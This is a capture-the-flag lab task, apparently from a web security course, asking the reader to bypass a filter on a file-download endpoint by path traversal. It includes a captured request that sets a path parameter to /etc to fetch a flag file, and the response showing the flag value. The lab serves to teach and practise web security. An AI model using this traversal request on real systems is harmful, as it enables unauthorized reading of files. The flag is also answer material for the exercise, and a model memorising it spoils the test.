

# 1. Another filter won't help

Your mission is to uncover a vulnerable endpoint that holds the key to retrieving a critical flag hidden deep within the system. Somewhere, a file—1-flag.txt—lies waiting to be discovered, but a clever filter has been set in place to obstruct your path.

- Target Machine: [Cyber - WebSec 0x07](#)
- Main Endpoint: `http://web0x07.hbtn/task1/list_file`

PS : a filter has been implemented to prevent unconventional paths.

Useful instructions:

1. Understand the Endpoint: Analyze how the vulnerable endpoint processes input and what payloads are accepted.

2. Bypass Filters: Experiment with various path traversal techniques to slip past the filter.

3. Test Edge Cases: Explore how different combinations of special characters.

Request					Response				
Pretty	Raw	Hex			Pretty	Raw	Hex	Render	
<div><div>1 GET /task1/download_file?filename=1-flag.txt&amp;path=/etc HTTP/1.1</div><div>2 Host: web0x07.hbtn</div><div>3 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0</div><div>4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8</div><div>5 Accept-Language: en-US,en;q=0.5</div><div>6 Accept-Encoding: gzip, deflate, br</div><div>7 Connection: keep-alive</div><div>8 Referer: http://web0x07.hbtn/task1/list_file</div><div>9 Upgrade-Insecure-Requests: 1</div><div>10 Priority: u=0, i</div><div>11</div><div>12</div></div>					<div><div>1 HTTP/1.1 200 OK</div><div>2 Server: nginx/1.22.1</div><div>3 Date: Tue, 11 Feb 2025 21:36:37 GMT</div><div>4 Content-Type: text/plain; charset=utf-8</div><div>5 Content-Length: 40</div><div>6 Connection: keep-alive</div><div>7</div><div>8 FLAG_1: f64234679978109a8df9fa3c7b183c0f</div></div>				